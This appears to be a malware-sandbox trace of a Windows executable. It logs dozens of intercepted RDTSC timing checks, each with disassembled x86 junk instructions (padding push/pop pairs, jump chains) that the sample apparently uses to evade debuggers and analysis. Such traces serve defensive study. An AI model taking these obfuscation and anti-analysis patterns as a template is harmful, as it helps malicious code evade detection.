Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B602E1 second address: 4B60300 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], edi 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FC6C5B27142h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B60300 second address: 4B60380 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edx, 6B456104h 0x00000008 pushfd 0x00000009 jmp 00007FC6C5B27A1Dh 0x0000000e jmp 00007FC6C5B27A1Bh 0x00000013 popfd 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 mov edi, dword ptr [ebp+08h] 0x0000001a pushad 0x0000001b mov edi, eax 0x0000001d pushfd 0x0000001e jmp 00007FC6C5B27A20h 0x00000023 sub cl, FFFFFFE8h 0x00000026 jmp 00007FC6C5B27A1Bh 0x0000002b popfd 0x0000002c popad 0x0000002d lea esi, dword ptr [esp+14h] 0x00000031 jmp 00007FC6C5B27A26h 0x00000036 nop 0x00000037 push eax 0x00000038 push edx 0x00000039 jmp 00007FC6C5B27A27h 0x0000003e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B60380 second address: 4B603A9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC6C5B27149h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d mov bh, al 0x0000000f mov edi, 70A307FAh 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B603A9 second address: 4B603AF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B603AF second address: 4B603B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B603B3 second address: 4B603EF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC6C5B27A1Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b nop 0x0000000c jmp 00007FC6C5B27A20h 0x00000011 mov eax, esi 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007FC6C5B27A27h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B603EF second address: 4B60446 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC6C5B27149h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp+14h], 00000010h 0x00000011 pushad 0x00000012 mov ebx, eax 0x00000014 jmp 00007FC6C5B27148h 0x00000019 popad 0x0000001a nop 0x0000001b pushad 0x0000001c mov cl, BDh 0x0000001e mov ax, bx 0x00000021 popad 0x00000022 push eax 0x00000023 push eax 0x00000024 push edx 0x00000025 jmp 00007FC6C5B2713Bh 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B60446 second address: 4B6044C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B60477 second address: 4B6047B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B6047B second address: 4B6047F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B6047F second address: 4B60485 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B60485 second address: 4B6049A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC6C5B27A1Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test eax, eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B6049A second address: 4B604A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov di, DBDEh 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B604A3 second address: 4B604A9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B604A9 second address: 4B604AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B604AD second address: 4B604F1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC6C5B27A1Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b je 00007FC736543369h 0x00000011 jmp 00007FC6C5B27A20h 0x00000016 xchg eax, ecx 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007FC6C5B27A27h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B604F1 second address: 4B60544 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 mov dl, 4Eh 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jmp 00007FC6C5B27147h 0x00000010 xchg eax, ecx 0x00000011 jmp 00007FC6C5B27146h 0x00000016 xchg eax, ebx 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007FC6C5B27147h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B60544 second address: 4B605D2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC6C5B27A29h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007FC6C5B27A27h 0x00000011 or ax, 4C1Eh 0x00000016 jmp 00007FC6C5B27A29h 0x0000001b popfd 0x0000001c pushfd 0x0000001d jmp 00007FC6C5B27A20h 0x00000022 and cx, 1218h 0x00000027 jmp 00007FC6C5B27A1Bh 0x0000002c popfd 0x0000002d popad 0x0000002e xchg eax, ebx 0x0000002f push eax 0x00000030 push edx 0x00000031 push eax 0x00000032 push edx 0x00000033 jmp 00007FC6C5B27A20h 0x00000038 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B605D2 second address: 4B605D8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B606AF second address: 4B606B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B606B5 second address: 4B606BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B606BA second address: 4B60700 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FC6C5B27A24h 0x00000009 sub ecx, 74A9F1E8h 0x0000000f jmp 00007FC6C5B27A1Bh 0x00000014 popfd 0x00000015 mov cx, B5DFh 0x00000019 popad 0x0000001a pop edx 0x0000001b pop eax 0x0000001c cmp esi, eax 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007FC6C5B27A21h 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B60700 second address: 4B60706 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B60706 second address: 4B6070A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B6070A second address: 4B6070E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B6070E second address: 4B6074F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jne 00007FC73654317Ch 0x0000000e pushad 0x0000000f mov cx, di 0x00000012 movsx edi, si 0x00000015 popad 0x00000016 mov eax, edi 0x00000018 jmp 00007FC6C5B27A28h 0x0000001d mov ecx, dword ptr [esp+34h] 0x00000021 pushad 0x00000022 push esi 0x00000023 pop edi 0x00000024 mov al, FFh 0x00000026 popad 0x00000027 pop edi 0x00000028 push eax 0x00000029 push edx 0x0000002a push eax 0x0000002b push edx 0x0000002c push eax 0x0000002d push edx 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B6074F second address: 4B60753 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B60753 second address: 4B60759 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B60759 second address: 4B6076D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx ebx, cx 0x00000006 mov cx, D013h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d pop esi 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B6076D second address: 4B60771 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B60771 second address: 4B60777 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B60777 second address: 4B607B4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push esi 0x00000006 pop ebx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ebx 0x0000000b jmp 00007FC6C5B27A20h 0x00000010 xor ecx, esp 0x00000012 pushad 0x00000013 mov cx, bx 0x00000016 mov dx, E75Eh 0x0000001a popad 0x0000001b call 00007FC736539722h 0x00000020 cmp ecx, dword ptr [75600140h] 0x00000026 jne 00007FC6C5B27A15h 0x00000028 retn 0000h 0x0000002b push eax 0x0000002c push edx 0x0000002d jmp 00007FC6C5B27A20h 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B607B4 second address: 4B607C6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FC6C5B2713Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B607C6 second address: 4B607CA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B70929 second address: 4B7092F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B7092F second address: 4B70935 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B70935 second address: 4B70939 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B70939 second address: 4B7097B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC6C5B27A28h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c jmp 00007FC6C5B27A20h 0x00000011 push eax 0x00000012 jmp 00007FC6C5B27A1Bh 0x00000017 xchg eax, ebp 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b mov eax, edx 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B7097B second address: 4B709AB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC6C5B27143h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FC6C5B27145h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B709AB second address: 4B709BB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FC6C5B27A1Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B709BB second address: 4B709EF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ebp 0x00000009 pushad 0x0000000a pushfd 0x0000000b jmp 00007FC6C5B2713Dh 0x00000010 xor ch, FFFFFF86h 0x00000013 jmp 00007FC6C5B27141h 0x00000018 popfd 0x00000019 push eax 0x0000001a push edx 0x0000001b mov eax, 6FA9AC0Dh 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B70A10 second address: 4B70A22 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FC6C5B27A1Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B70A22 second address: 4B70A50 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC6C5B2713Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c jmp 00007FC6C5B27146h 0x00000011 push eax 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B70A50 second address: 4B70A54 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B9099E second address: 4B909BD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov cx, dx 0x00000006 mov bh, E2h 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FC6C5B27141h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B909BD second address: 4B90A5C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop ecx 0x00000005 pushfd 0x00000006 jmp 00007FC6C5B27A23h 0x0000000b jmp 00007FC6C5B27A23h 0x00000010 popfd 0x00000011 popad 0x00000012 pop edx 0x00000013 pop eax 0x00000014 push eax 0x00000015 pushad 0x00000016 mov eax, edi 0x00000018 call 00007FC6C5B27A1Bh 0x0000001d pushfd 0x0000001e jmp 00007FC6C5B27A28h 0x00000023 xor cx, 72A8h 0x00000028 jmp 00007FC6C5B27A1Bh 0x0000002d popfd 0x0000002e pop eax 0x0000002f popad 0x00000030 xchg eax, ebp 0x00000031 pushad 0x00000032 mov eax, ebx 0x00000034 popad 0x00000035 mov ebp, esp 0x00000037 jmp 00007FC6C5B27A23h 0x0000003c push dword ptr [ebp+0Ch] 0x0000003f push eax 0x00000040 push edx 0x00000041 jmp 00007FC6C5B27A25h 0x00000046 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B90A5C second address: 4B90A90 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC6C5B27141h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push dword ptr [ebp+08h] 0x0000000c jmp 00007FC6C5B2713Eh 0x00000011 call 00007FC6C5B27139h 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B90A90 second address: 4B90AA8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC6C5B27A23h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B90AA8 second address: 4B90AFE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bl, FFh 0x00000005 jmp 00007FC6C5B27140h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e pushad 0x0000000f pushfd 0x00000010 jmp 00007FC6C5B27141h 0x00000015 sub eax, 629DDC46h 0x0000001b jmp 00007FC6C5B27141h 0x00000020 popfd 0x00000021 mov esi, 496AC6F7h 0x00000026 popad 0x00000027 mov eax, dword ptr [esp+04h] 0x0000002b pushad 0x0000002c mov dh, 5Ah 0x0000002e push eax 0x0000002f push edx 0x00000030 movzx eax, di 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B808EF second address: 4B808F4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B808F4 second address: 4B809A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 movsx edx, cx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a xchg eax, ebp 0x0000000b jmp 00007FC6C5B27144h 0x00000010 push eax 0x00000011 pushad 0x00000012 pushfd 0x00000013 jmp 00007FC6C5B27141h 0x00000018 sbb cl, FFFFFFF6h 0x0000001b jmp 00007FC6C5B27141h 0x00000020 popfd 0x00000021 pushfd 0x00000022 jmp 00007FC6C5B27140h 0x00000027 or ah, 00000018h 0x0000002a jmp 00007FC6C5B2713Bh 0x0000002f popfd 0x00000030 popad 0x00000031 xchg eax, ebp 0x00000032 pushad 0x00000033 mov eax, 0287D6EBh 0x00000038 pushfd 0x00000039 jmp 00007FC6C5B27140h 0x0000003e adc cx, 5778h 0x00000043 jmp 00007FC6C5B2713Bh 0x00000048 popfd 0x00000049 popad 0x0000004a mov ebp, esp 0x0000004c push eax 0x0000004d push edx 0x0000004e jmp 00007FC6C5B27145h 0x00000053 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B809A0 second address: 4B809A6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8008EC second address: 8008F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8008F1 second address: 8008F8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8008F8 second address: 800909 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b je 00007FC6C5B27136h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 800D4B second address: 800D6D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 jmp 00007FC6C5B27A26h 0x0000000e push edx 0x0000000f pop edx 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 800D6D second address: 800D73 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 800D73 second address: 800D77 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 800D77 second address: 800D7B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B90463 second address: 4B90469 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B90469 second address: 4B9046D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B9046D second address: 4B9049E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a mov si, 7F4Bh 0x0000000e popad 0x0000000f mov eax, dword ptr [esp+04h] 0x00000013 jmp 00007FC6C5B27A1Ch 0x00000018 mov eax, dword ptr [eax] 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007FC6C5B27A1Eh 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B9049E second address: 4B904D1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC6C5B2713Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp+04h], eax 0x0000000d jmp 00007FC6C5B27149h 0x00000012 pop eax 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B904D1 second address: 4B904D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B904D5 second address: 4B904D9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B904D9 second address: 4B904DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B904DF second address: 4B90543 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC6C5B27142h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push 4F40CEDBh 0x0000000e jmp 00007FC6C5B27141h 0x00000013 xor dword ptr [esp], 3A2DCEEBh 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d call 00007FC6C5B27143h 0x00000022 pop ecx 0x00000023 jmp 00007FC6C5B27149h 0x00000028 popad 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B90543 second address: 4B90549 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B90549 second address: 4B9054D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B9054D second address: 4B90560 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 call 00007FC73662DE4Bh 0x0000000d push 75694FB0h 0x00000012 push dword ptr fs:[00000000h] 0x00000019 mov eax, dword ptr [esp+10h] 0x0000001d mov dword ptr [esp+10h], ebp 0x00000021 lea ebp, dword ptr [esp+10h] 0x00000025 sub esp, eax 0x00000027 push ebx 0x00000028 push esi 0x00000029 push edi 0x0000002a mov eax, dword ptr [756DA500h] 0x0000002f xor dword ptr [ebp-04h], eax 0x00000032 xor eax, ebp 0x00000034 mov dword ptr [ebp-1Ch], eax 0x00000037 push eax 0x00000038 mov dword ptr [ebp-18h], esp 0x0000003b push dword ptr [ebp-08h] 0x0000003e mov eax, dword ptr [ebp-04h] 0x00000041 mov dword ptr [ebp-04h], FFFFFFFEh 0x00000048 mov dword ptr [ebp-08h], eax 0x0000004b lea eax, dword ptr [ebp-10h] 0x0000004e mov dword ptr fs:[00000000h], eax 0x00000054 ret 0x00000055 push eax 0x00000056 push edx 0x00000057 push eax 0x00000058 push edx 0x00000059 pushad 0x0000005a popad 0x0000005b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B90560 second address: 4B90564 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B90564 second address: 4B9056A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B9056A second address: 4B905C9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC6C5B27143h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebx, dword ptr [ebp+08h] 0x0000000c jmp 00007FC6C5B27146h 0x00000011 sub edi, edi 0x00000013 pushad 0x00000014 jmp 00007FC6C5B27147h 0x00000019 movzx ecx, di 0x0000001c popad 0x0000001d inc edi 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007FC6C5B2713Eh 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B905C9 second address: 4B90613 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dx, CD04h 0x00000007 pushfd 0x00000008 jmp 00007FC6C5B27A1Dh 0x0000000d xor esi, 0A1DB046h 0x00000013 jmp 00007FC6C5B27A21h 0x00000018 popfd 0x00000019 popad 0x0000001a pop edx 0x0000001b pop eax 0x0000001c and dword ptr [ebp-04h], 00000000h 0x00000020 jmp 00007FC6C5B27A1Eh 0x00000025 test ebx, ebx 0x00000027 push eax 0x00000028 push edx 0x00000029 push eax 0x0000002a push edx 0x0000002b pushad 0x0000002c popad 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B90613 second address: 4B90617 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B90617 second address: 4B9061D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B9061D second address: 4B9062C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FC6C5B2713Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B9062C second address: 4B90630 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
